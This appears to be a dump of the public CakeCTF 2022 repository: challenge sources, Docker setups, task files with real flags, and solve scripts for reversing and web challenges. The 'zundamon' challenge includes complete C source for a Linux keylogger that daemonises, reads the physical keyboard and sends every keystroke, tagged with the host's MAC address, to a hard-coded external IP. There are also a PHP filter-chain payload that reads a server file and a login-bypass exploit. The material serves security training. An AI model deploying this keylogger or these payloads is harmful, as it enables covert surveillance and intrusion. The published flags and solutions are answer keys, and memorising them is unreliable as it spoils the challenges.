92 | return 1;
93 | }
94 |
95 | std::vector enc_flag = encryptFlag(flag, *enckey.key());
96 | std::cout << "Encrypted flag: ";
97 | for (uint8_t c: enc_flag) {
98 | std::cout << std::setfill('0') << std::setw(2) << std::hex << (uint32_t)c;
99 | }
100 | std::cout << std::endl;
101 |
102 | return 0;
103 | }
104 |
--------------------------------------------------------------------------------
/rev/kiwi/challenge/redir.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | cd /home/ctf && ./chall
3 |
--------------------------------------------------------------------------------
/rev/kiwi/distfiles/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/kiwi/distfiles/chall
--------------------------------------------------------------------------------
/rev/kiwi/distfiles/flag.txt:
--------------------------------------------------------------------------------
1 | FakeCTF{***** REDUCTED *****}
2 |
--------------------------------------------------------------------------------
/rev/kiwi/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | kiwi:
4 | build:
5 | context: .
6 | working_dir: /home/ctf
7 | container_name: kiwi
8 | ulimits:
9 | nproc: 65535
10 | core: 0
11 | ports:
12 | - "10044:9999"
13 | entrypoint: /etc/init.sh
14 | restart: always
15 |
--------------------------------------------------------------------------------
/rev/kiwi/solution/solve.py:
--------------------------------------------------------------------------------
1 | from ptrlib import *
2 | import os
3 |
4 | HOST = os.getenv("HOST", "localhost")
5 | PORT = int(os.getenv("PORT", "10011"))
6 |
7 | sock = Socket(HOST, PORT)
8 |
9 | sock.sendlineafter("Enter key: ", "01f389fbd70c0208000000000000000000")
10 | l = sock.recvlineafter("Encrypted flag: ")
11 | flag = ""
12 | for i, c in enumerate(bytes.fromhex(l.decode())):
13 | flag += chr(c ^ i ^ 0xff)
14 | print(flag)
15 |
16 | sock.close()
17 |
--------------------------------------------------------------------------------
/rev/kiwi/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: kiwi
3 | description: >
4 | A bird that doesn't fly is nothing but farm-raised chicken...?
5 | nc {host} {port}
6 | flag: "CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng}"
7 | author: ptr-yudai
8 | host: misc.2022.cakectf.com
9 | port: 10044
10 | tags:
11 | - rev
12 | is_survey: false
13 |
--------------------------------------------------------------------------------
/rev/luau/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | luac5.3 -s -o libflag.lua src_libflag.lua
3 | cp libflag.lua ../distfiles
4 |
--------------------------------------------------------------------------------
/rev/luau/challenge/gen.py:
--------------------------------------------------------------------------------
1 | flag = list(b"CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}")
2 | key = list(b"CakeCTF 2022")
3 |
4 | for i in range(len(flag)):
5 | for j in range(i+1, len(flag)):
6 | flag[i], flag[j] = flag[j], flag[i]
7 |
8 | for i in range(len(flag)):
9 | flag[i] ^= key[i % len(key)]
10 |
11 | print(flag)
12 |
--------------------------------------------------------------------------------
/rev/luau/challenge/main.lua:
--------------------------------------------------------------------------------
1 | local libflag = require "libflag"
2 | io.write("FLAG: ")
3 | flag = io.read("*l")
4 | if libflag.checkFlag(flag, "CakeCTF 2022") then
5 | print("Correct!")
6 | else
7 | print("Wrong...")
8 | end
9 |
--------------------------------------------------------------------------------
/rev/luau/challenge/src_libflag.lua:
--------------------------------------------------------------------------------
1 | local function _checkFlag(_flag, _key)
2 | local ans = {62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34}
3 | if #_flag ~= #ans then
4 | return false
5 | end
6 |
7 | local flag = {}
8 | local key = {}
9 | for i = 1, #_flag do
10 | flag[i] = string.byte(_flag:sub(i, i+1))
11 | end
12 | for i = 1, #_key do
13 | key[i] = string.byte(_key:sub(i, i+1))
14 | end
15 |
16 | for i = 1, #flag do
17 | for j = i + 1, #flag do
18 | local t = flag[i]
19 | flag[i] = flag[j]
20 | flag[j] = t
21 | end
22 | end
23 |
24 | for i = 1, #flag do
25 | flag[i] = flag[i] ~ key[1 + ((i-1) % #key)]
26 | if flag[i] ~= ans[i] then
27 | return false
28 | end
29 | end
30 |
31 | return true
32 | end
33 |
34 | return {
35 | checkFlag = _checkFlag
36 | }
37 |
--------------------------------------------------------------------------------
/rev/luau/distfiles/libflag.lua:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/luau/distfiles/libflag.lua
--------------------------------------------------------------------------------
/rev/luau/distfiles/main.lua:
--------------------------------------------------------------------------------
1 | local libflag = require "libflag"
2 | io.write("FLAG: ")
3 | flag = io.read("*l")
4 | if libflag.checkFlag(flag, "CakeCTF 2022") then
5 | print("Correct!")
6 | else
7 | print("Wrong...")
8 | end
9 |
--------------------------------------------------------------------------------
/rev/luau/solution/solve.py:
--------------------------------------------------------------------------------
1 | enc = [62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34]
2 | key = list(b"CakeCTF 2022")
3 |
4 | for i in range(len(enc)):
5 | enc[i] ^= key[i % len(key)]
6 |
7 | for i in range(len(enc)-1, -1, -1):
8 | for j in range(len(enc)-1, i, -1):
9 | enc[i], enc[j] = enc[j], enc[i]
10 |
11 | flag = ''
12 | for c in enc:
13 | flag += chr(c)
14 | print(flag)
15 |
--------------------------------------------------------------------------------
/rev/luau/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: luau
3 | description: >
4 | Aloha! This is a luau for reverse engineerers!
5 | flag: "CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}"
6 | author: ptr-yudai
7 | tags:
8 | - rev
9 | is_survey: false
10 |
--------------------------------------------------------------------------------
/rev/nimrev/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | nim c -r -x:off --stackTrace:off --lineTrace:off main.nim
3 |
--------------------------------------------------------------------------------
/rev/nimrev/challenge/main.nim:
--------------------------------------------------------------------------------
1 | import sequtils, strutils
2 | echo if stdin.readLine == (@['\xBC', '\x9E', '\x94', '\x9A', '\xBC', '\xAB', '\xB9', '\x84', '\x8C', '\xCF', '\x92', '\xCC', '\x8B', '\xCE', '\x92', '\xCC', '\x8C', '\xA0', '\x91', '\xCF', '\x8B', '\xA0', '\xBC', '\x82'].map do (c:char) -> char: char(uint8(c).xor(0xff))).join(""):
3 | "Correct!"
4 | else:
5 | "Wrong..."
6 |
--------------------------------------------------------------------------------
/rev/nimrev/distfiles/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/nimrev/distfiles/chall
--------------------------------------------------------------------------------
/rev/nimrev/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: nimrev
3 | description: >
4 | Have you ever analysed programs written in languages other than C/C++?
5 | flag: "CakeCTF{s0m3t1m3s_n0t_C}"
6 | author: ptr-yudai
7 | tags:
8 | - rev
9 | - warmup
10 | is_survey: false
11 |
--------------------------------------------------------------------------------
/rev/zundamon/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc main.c -o ../distfiles/zundamon -O3
3 |
--------------------------------------------------------------------------------
/rev/zundamon/challenge/main.c:
--------------------------------------------------------------------------------
1 | /**
2 | * Use of this program for purposes other than research is prohibited.
3 | * 本プログラムの研究目的以外での使用を禁ずる。
4 | */
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 |
22 | #define DEV_INPUT "/dev/input"
23 |
24 | /**
25 | * Check if file is character device
26 | */
27 | static int is_char(const struct dirent *file) {
28 | struct stat filestat;
29 | char filename[PATH_MAX];
30 |
31 | snprintf(filename, sizeof(filename), "%s/%s", DEV_INPUT, file->d_name);
32 |
33 | if (stat(filename, &filestat))
34 | return 0;
35 | else
36 | return S_ISCHR(filestat.st_mode);
37 | }
38 |
39 | /**
40 | * Get file descriptor of physical keyboard device
41 | */
42 | int source(void) {
43 | int file_count;
44 | struct dirent **event_files;
45 | char filename[PATH_MAX], phys[PATH_MAX];
46 |
47 | file_count = scandir(DEV_INPUT, &event_files, &is_char, &alphasort);
48 | if (file_count < 0)
49 | return -1;
50 |
51 | int result = -1;
52 | for (int i = 0; i < file_count; i++) {
53 | int fd;
54 | int event_bitmap = 0;
55 | int kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
56 |
57 | snprintf(filename, sizeof(filename),
58 | "%s/%s", DEV_INPUT, event_files[i]->d_name);
59 | if ((fd = open(filename, O_RDONLY)) == -1)
60 | continue;
61 |
62 | /* Check if this is a keyboard */
63 | ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
64 | if ((EV_KEY & event_bitmap) != EV_KEY)
65 | goto skip;
66 |
67 | /* Check if this keyboard actually works */
68 | ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
69 | if ((kbd_bitmap & event_bitmap) != kbd_bitmap)
70 | goto skip;
71 |
72 | /* Check if this is a physical device */
73 | ioctl(fd, EVIOCGPHYS(sizeof(phys)), phys);
74 | if (phys[0] == 0)
75 | goto skip;
76 |
77 | result = fd;
78 | break;
79 |
80 | skip:
81 | close(fd);
82 | }
83 |
84 | for (int i = 0; i < file_count; i++)
85 | free(event_files[i]);
86 | free(event_files);
87 |
88 | return result;
89 | }
90 |
91 | #define CMD_PING "*1\r\n$4\r\nPING\r\n"
92 |
93 | int sink(void) {
94 | int sockfd;
95 | struct sockaddr_in server;
96 |
97 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
98 | return -1;
99 |
100 | server.sin_family = AF_INET;
101 | server.sin_port = htons(6379);
102 | server.sin_addr.s_addr = inet_addr("164.70.70.9");
103 | //server.sin_addr.s_addr = inet_addr("127.0.0.1");
104 | connect(sockfd, (struct sockaddr*)&server, sizeof(server));
105 |
106 | /* Send ping */
107 | if (write(sockfd, CMD_PING, strlen(CMD_PING)) < 0) {
108 | close(sockfd);
109 | return -1;
110 | }
111 |
112 | /* Receive pong */
113 | char buf[8];
114 | if (read(sockfd, buf, 5) < 0) {
115 | close(sockfd);
116 | return -1;
117 | }
118 | if (memcmp(buf, "+PONG", 5)) {
119 | close(sockfd);
120 | return -1;
121 | }
122 |
123 | return sockfd;
124 | }
125 |
126 | char mac[18];
127 |
128 | void get_target_name(int sockfd) {
129 | struct sockaddr_in addr;
130 | struct ifaddrs* ifaddr;
131 | struct ifaddrs* ifa;
132 | struct ifreq ifr;
133 | socklen_t addr_len;
134 |
135 | ifr.ifr_addr.sa_family = AF_INET;
136 | strncpy(ifr.ifr_name, "eth0", IFNAMSIZ-1);
137 |
138 | addr_len = sizeof(addr);
139 | getsockname(sockfd, (struct sockaddr*)&addr, &addr_len);
140 | getifaddrs(&ifaddr);
141 |
142 | for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
143 | if (!ifa->ifa_addr) continue;
144 | if (AF_INET == ifa->ifa_addr->sa_family) {
145 | struct sockaddr_in* inaddr = (struct sockaddr_in*)ifa->ifa_addr;
146 |
147 | if (inaddr->sin_addr.s_addr == addr.sin_addr.s_addr) {
148 | if (ifa->ifa_name) {
149 | strncpy(ifr.ifr_name, ifa->ifa_name, IFNAMSIZ-1);
150 | break;
151 | }
152 | }
153 | }
154 | }
155 |
156 | freeifaddrs(ifaddr);
157 |
158 | /* Get MAC address*/
159 | ioctl(sockfd, SIOCGIFHWADDR, &ifr);
160 | snprintf(mac, sizeof(mac), "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",
161 | (unsigned char)ifr.ifr_hwaddr.sa_data[0],
162 | (unsigned char)ifr.ifr_hwaddr.sa_data[1],
163 | (unsigned char)ifr.ifr_hwaddr.sa_data[2],
164 | (unsigned char)ifr.ifr_hwaddr.sa_data[3],
165 | (unsigned char)ifr.ifr_hwaddr.sa_data[4],
166 | (unsigned char)ifr.ifr_hwaddr.sa_data[5]);
167 | }
168 |
169 | #define NUM_EVENTS 128
170 |
171 | #define CMD_SET_PREFIX "*3\r\n$5\r\nRPUSH\r\n"
172 |
173 | int exfiltrate(int fd, uint8_t value, uint16_t *code) {
174 | char buf[0x80];
175 |
176 | if (write(fd, CMD_SET_PREFIX, strlen(CMD_SET_PREFIX)) < 0) return -1;
177 |
178 | snprintf(buf, sizeof(buf), "$%ld\r\n%s\r\n", strlen(mac), mac);
179 | if (write(fd, buf, strlen(buf)) < 0) return -1;
180 |
181 | if (write(fd, "$3\r\n", 4) < 0) return -1;
182 | if (write(fd, code, 2) < 0) return -1;
183 | if (write(fd, &value, 1) < 0) return -1;
184 | if (write(fd, "\r\n", 2) < 0) return -1;
185 |
186 | return 0;
187 | }
188 |
189 | void mainloop() {
190 | ssize_t s;
191 | struct input_event events[NUM_EVENTS];
192 | int kbdfd, sockfd;
193 | if ((kbdfd = source()) == -1) {
194 | return;
195 | }
196 | if ((sockfd = sink()) == -1) {
197 | close(kbdfd);
198 | return;
199 | }
200 | get_target_name(sockfd);
201 |
202 | while (1) {
203 | s = read(kbdfd, events, sizeof(struct input_event) * NUM_EVENTS);
204 | if (s < 0)
205 | break;
206 |
207 | for (size_t i = 0; i < s / sizeof(struct input_event); i++) {
208 | if (events[i].type != EV_KEY)
209 | continue;
210 |
211 | if (events[i].code && 0 <= events[i].value && events[i].value <= 2) {
212 | if (exfiltrate(sockfd, events[i].value, &events[i].code) == -1)
213 | break;
214 | }
215 | }
216 | }
217 |
218 | close(kbdfd);
219 | close(sockfd);
220 | exit(0);
221 | }
222 |
223 | int main(void) {
224 | char *p = getenv("I_AGREE_TO_RUN_POSSIBLE_MALWARE_FILE");
225 | if (!p || strcmp(p, "yes")) {
226 | puts("We can't let you run this program unless you understand what it is, nanoda!");
227 | exit(1);
228 | }
229 |
230 | if (daemon(0, 0) == 0) {
231 | mainloop();
232 | } else {
233 | perror("Could not run the program, nanoda!");
234 | }
235 | return 0;
236 | }
237 |
--------------------------------------------------------------------------------
/rev/zundamon/distfiles/evidence.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/zundamon/distfiles/evidence.pcapng
--------------------------------------------------------------------------------
/rev/zundamon/distfiles/zundamon:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/zundamon/distfiles/zundamon
--------------------------------------------------------------------------------
/rev/zundamon/solution/solve.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 |
3 | keycodes = [
4 | "RESERVED", "ESC",
5 | "1", "2", "3", "4", "5", "6", "7", "8", "9", "0",
6 | "MINUS", "EQUAL", "BACKSPACE", "TAB",
7 | "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P",
8 | "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL",
9 | "A", "S", "D", "F", "G", "H", "J", "K", "L",
10 | "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH",
11 | "Z", "X", "C", "V", "B", "N", "M",
12 | "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK",
13 | "LEFTALT", "SPACE", "CAPSLOCK",
14 | "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10",
15 | "NUMLOCK", "SCROLLLOCK"
16 | ]
17 |
18 | packets = rdpcap("../distfiles/evidence.pcapng")
19 |
20 | log = ""
21 | shift = False
22 | for packet in packets:
23 | if TCP in packet and packet[TCP].dport == 6379 and Raw in packet[TCP]:
24 | load = packet[TCP][Raw].load
25 | if b'$17' in load:
26 | code = int.from_bytes(load[-5:-3], 'little')
27 | value = load[-3]
28 | if code < len(keycodes):
29 | if value == 0:
30 | if "SHIFT" in keycodes[code]:
31 | shift = False
32 |
33 | elif value == 1:
34 | if "SHIFT" in keycodes[code]:
35 | shift = True
36 | else:
37 | c = keycodes[code]
38 | if len(c) == 1:
39 | log += c if shift else c.lower()
40 | else:
41 | log += "<" + c + ">"
42 |
43 | elif value == 2:
44 | log += "[" + c + "]"
45 |
46 | else:
47 | if value == 1:
48 | if code == 89:
49 | log += "_"
50 | else:
51 | log += ">"
52 |
53 | print(log)
54 |
--------------------------------------------------------------------------------
/rev/zundamon/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: zundamon
3 | description: >
4 | I found a suspicious process named "zundamon" running on my computer. Can you investigate the communication logs to confirm that no information has been leaked?
5 | This program may harm your computer. Do not run it outside sandbox.
6 | flag: "CakeCTF{b3_c4r3fuL_0f_m4l1c10us_k3yL0gg3r}"
7 | author: ptr-yudai
8 | tags:
9 | - rev
10 | - forensics
11 | is_survey: false
12 |
--------------------------------------------------------------------------------
/web/cakegear/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8-apache
2 |
3 | ADD challenge/flag.txt /
4 | RUN chmod 444 /flag.txt
5 |
6 | RUN apt update
7 |
8 | WORKDIR /var/www/html
9 |
10 | ADD distfiles/index.php ./
11 | ADD distfiles/admin.php ./
12 | RUN chown -R root:www-data ./
13 | RUN chmod -R 440 ./
14 | RUN chmod 550 ./
15 |
--------------------------------------------------------------------------------
/web/cakegear/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
2 |
--------------------------------------------------------------------------------
/web/cakegear/distfiles/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8-apache
2 |
3 | RUN echo "FakeCTF{neko}" > /flag.txt
4 | RUN chmod 444 /flag.txt
5 |
6 | RUN apt update
7 |
8 | WORKDIR /var/www/html
9 |
10 | ADD index.php ./
11 | ADD admin.php ./
12 | RUN chown -R root:www-data ./
13 | RUN chmod -R 440 ./
14 | RUN chmod 550 ./
15 |
--------------------------------------------------------------------------------
/web/cakegear/distfiles/admin.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
18 |
19 |
20 | control panel - CAKEGEAR
21 |
22 |
23 |
24 | Router Control Panel
25 |
26 | Status UP
27 | Router IP 192.168.1.1
28 | Your IP 192.168.1.7
29 | Access Mode = $mode ?>
30 | FLAG = $flag ?>
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/web/cakegear/distfiles/index.php:
--------------------------------------------------------------------------------
1 | username) && isset($req->password)) {
9 | if ($req->username === 'godmode'
10 | && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
11 | /* Debug mode is not allowed from outside the router */
12 | $req->username = 'nobody';
13 | }
14 |
15 | switch ($req->username) {
16 | case 'godmode':
17 | /* No password is required in god mode */
18 | $_SESSION['login'] = true;
19 | $_SESSION['admin'] = true;
20 | break;
21 |
22 | case 'admin':
23 | /* Secret password is required in admin mode */
24 | if (sha1($req->password) === ADMIN_PASSWORD) {
25 | $_SESSION['login'] = true;
26 | $_SESSION['admin'] = true;
27 | }
28 | break;
29 |
30 | case 'guest':
31 | /* Guest mode (low privilege) */
32 | if ($req->password === 'guest') {
33 | $_SESSION['login'] = true;
34 | $_SESSION['admin'] = false;
35 | }
36 | break;
37 | }
38 |
39 | /* Return response */
40 | if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
41 | echo json_encode(array('status'=>'success'));
42 | exit;
43 | } else {
44 | echo json_encode(array('status'=>'error'));
45 | exit;
46 | }
47 | }
48 | ?>
49 |
50 |
51 |
52 |
53 | login - CAKEGEAR
54 |
55 |
56 |
57 | CakeWiFi Login
58 |
59 |
Username
60 |
61 |
62 |
Password
63 |
64 |
65 |
Login
66 |
67 |
68 |
87 |
88 |
89 |
--------------------------------------------------------------------------------
/web/cakegear/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | cakegear:
4 | build: .
5 | working_dir: /var/www/html
6 | container_name: cakegear
7 | ports:
8 | - "8005:80"
9 | restart: always
10 |
--------------------------------------------------------------------------------
/web/cakegear/solution/solve.py:
--------------------------------------------------------------------------------
1 | import os
2 | import requests
3 | import json
4 |
5 | HOST = os.getenv("HOST", "localhost")
6 | PORT = os.getenv("PORT", 8005)
7 |
8 | r = requests.post(f"http://{HOST}:{PORT}/",
9 | data=json.dumps({
10 | "username": 0,
11 | "password": "whatever"
12 | }),
13 | headers={"Content-Type": "application/json"})
14 |
15 | r = requests.get(f"http://{HOST}:{PORT}/admin.php", cookies=r.cookies)
16 | print(r.text)
17 |
--------------------------------------------------------------------------------
/web/cakegear/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: CakeGEAR
3 | description: >
4 | Can you crack the login portal of CakeGEAR router?
5 | flag: "CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}"
6 | author: ptr-yudai
7 | host: web1.2022.cakectf.com
8 | port: 8005
9 | tags:
10 | - web
11 | - warmup
12 | is_survey: false
13 |
--------------------------------------------------------------------------------
/web/imagesurfing/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8-apache
2 |
3 | ADD challenge/flag.txt /
4 | RUN chmod 444 /flag.txt
5 |
6 | RUN apt update
7 | RUN apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng-dev \
8 | && docker-php-ext-install gd
9 |
10 | WORKDIR /var/www/html
11 |
12 | ADD distfiles/index.php ./
13 | RUN chown -R root:www-data ./
14 | RUN chmod -R 440 ./
15 | RUN chmod 550 ./
16 |
--------------------------------------------------------------------------------
/web/imagesurfing/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}
2 |
--------------------------------------------------------------------------------
/web/imagesurfing/distfiles/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8-apache
2 |
3 | ADD flag.txt /
4 | RUN chmod 444 /flag.txt
5 |
6 | RUN apt update
7 | RUN apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng-dev \
8 | && docker-php-ext-install gd
9 |
10 | WORKDIR /var/www/html
11 |
12 | ADD index.php ./
13 | RUN chown -R root:www-data ./
14 | RUN chmod -R 440 ./
15 | RUN chmod 550 ./
16 |
--------------------------------------------------------------------------------
/web/imagesurfing/distfiles/flag.txt:
--------------------------------------------------------------------------------
1 | FakeCTF{neko!}
2 |
--------------------------------------------------------------------------------
/web/imagesurfing/distfiles/index.php:
--------------------------------------------------------------------------------
1 | 1024*1024*16)
12 | return array("File size is too large", false);
13 |
14 | /* Get mime type */
15 | $tmp = tmpfile();
16 | fwrite($tmp, $data);
17 | fflush($tmp);
18 | $mime = mime_content_type(stream_get_meta_data($tmp)['uri']);
19 | fclose($tmp);
20 |
21 | /* Check */
22 | if (in_array($mime, IMAGE_MIME)) {
23 | return array($mime, $data);
24 | } else {
25 | return array("Invalid image file", false);
26 | }
27 | }
28 |
29 | if (!empty($_GET['url'])) {
30 | list($mime, $img) = get_image($_GET['url']);
31 | if ($img === false) {
32 | $err = $mime;
33 | }
34 | }
35 | ?>
36 |
37 |
38 |
39 |
40 |
41 | ImageSurfing
42 |
43 |
44 |
45 | Image Viewer
46 |
54 |
55 |
56 | Error: = htmlspecialchars($err) ?>
57 |
58 |
59 |
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/web/imagesurfing/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | imagesurfing:
4 | build: .
5 | working_dir: /var/www/html
6 | container_name: imagesurfing
7 | ports:
8 | - "8001:80"
9 | restart: always
10 |
--------------------------------------------------------------------------------
/web/imagesurfing/solution/solve.py:
--------------------------------------------------------------------------------
1 | url = "php://filter/convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|/resource=/flag.txt"
2 |
3 | import requests
4 | import re
5 | import base64
6 | import os
7 | from imapclient import imap_utf7
8 |
9 | HOST = "localhost"
10 | PORT = 8001
11 |
12 | r = requests.get(f"http://{HOST}:{PORT}/", params={"url": url})
13 | b = base64.b64decode(re.findall("gif;base64,(.+)\"", r.text)[0])
14 | v = base64.b64decode(b[len("GIF89a"):] + b'==')
15 | out = ""
16 | for c in v:
17 | if 0x20 <= c and c <= 0x7e:
18 | out += chr(c)
19 | print(f"php -r 'echo file_get_contents(\"php://filter/convert.iconv.UTF7.UTF8/resource=data:,\".urlencode(\"{out}\"));'")
20 | os.system(f"php -r 'echo file_get_contents(\"php://filter/convert.iconv.UTF7.UTF8/resource=data:,\".urlencode(\"{out}\"));'")
21 | print()
22 |
--------------------------------------------------------------------------------
/web/imagesurfing/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: ImageSurfing
3 | description: >
4 | bodega cat
5 | flag: 'CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}'
6 | author: ptr-yudai
7 | host: web1.2022.cakectf.com
8 | port: 8001
9 | tags:
10 | - web
11 | - misc
12 | is_survey: false
13 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/crawler/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:18-bullseye-slim
2 |
3 | RUN apt-get update
4 | RUN apt-get install -y wget gnupg ca-certificates procps libxss1 \
5 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
6 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
7 | && apt-get update
8 | RUN apt-get install -y google-chrome-stable
9 | RUN rm -rf /var/lib/apt/lists/*
10 |
11 | WORKDIR /app
12 | ADD package.json ./
13 | RUN npm install
14 |
15 | RUN groupadd -r pptruser && useradd -r -g pptruser -G audio,video pptruser \
16 | && mkdir -p /home/pptruser/Downloads \
17 | && chown -R pptruser:pptruser /home/pptruser \
18 | && chown -R pptruser:pptruser /app/node_modules
19 |
20 | ADD https://github.com/Yelp/dumb-init/releases/download/v1.2.5/dumb-init_1.2.5_x86_64 /usr/local/bin/dumb-init
21 | RUN chmod +x /usr/local/bin/dumb-init
22 |
23 | USER pptruser
24 | ADD crawler.js ./
25 |
26 | ENTRYPOINT ["dumb-init", "--"]
27 | CMD ["node", "crawler.js"]
28 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/crawler/crawler.js:
--------------------------------------------------------------------------------
1 | const puppeteer = require('puppeteer');
2 | const Redis = require('ioredis');
3 | const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1});
4 |
5 | const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
6 | const flag = process.env.flag || "CakeCTF{**** TEST FLAG *****}";
7 | const base_url = "http://challenge:8080";
8 | const browser_option = {
9 | headless: true,
10 | args: [
11 | '-wait-for-browser',
12 | '--no-sandbox', '--disable-gpu',
13 | '--js-flags="--noexpose_wasm"'
14 | ]
15 | }
16 |
17 | const crawl = async (target) => {
18 | const url = base_url + '/profile/' + target + '?report';
19 | console.log(`[+] Crawling: ${url}`);
20 |
21 | const username = Math.random().toString(32).substring(2);
22 | const password = Math.random().toString(32).substring(2);
23 |
24 | const browser = await puppeteer.launch(browser_option);
25 | try {
26 | const page = await browser.newPage();
27 | // Register
28 | await page.goto(base_url + '/', {timeout: 3000});
29 | await page.type('#username', username);
30 | await page.type('#password', password);
31 | await page.click('#tab-signup');
32 | await page.click('#signup');
33 | await wait(1000);
34 |
35 | // Set flag to bio
36 | await page.goto(base_url + '/', {timeout: 3000});
37 | await page.$eval('#bio', element => element.value = '');
38 | await page.type('#bio', "You hacked me! The flag is " + flag);
39 | await page.click('#update');
40 | await wait(1000);
41 |
42 | // Check spam page
43 | await page.goto(url, {timeout: 3000});
44 | await wait(3000);
45 | await page.close();
46 | } catch(e) {
47 | console.log("[-] " + e);
48 | }
49 |
50 | console.log(`[+] Crawl done`);
51 | await browser.close();
52 | }
53 |
54 | const handle = async () => {
55 | console.log(await connection.ping());
56 | connection.blpop('report', 0, async (err, message) => {
57 | try {
58 | await crawl(message[1]);
59 | setTimeout(handle, 10);
60 | } catch (e) {
61 | console.log("[-] " + e);
62 | }
63 | });
64 | };
65 |
66 | handle();
67 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/crawler/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "dependencies": {
3 | "ioredis": "^5.2.2",
4 | "puppeteer": "^16.2.0"
5 | }
6 | }
7 |
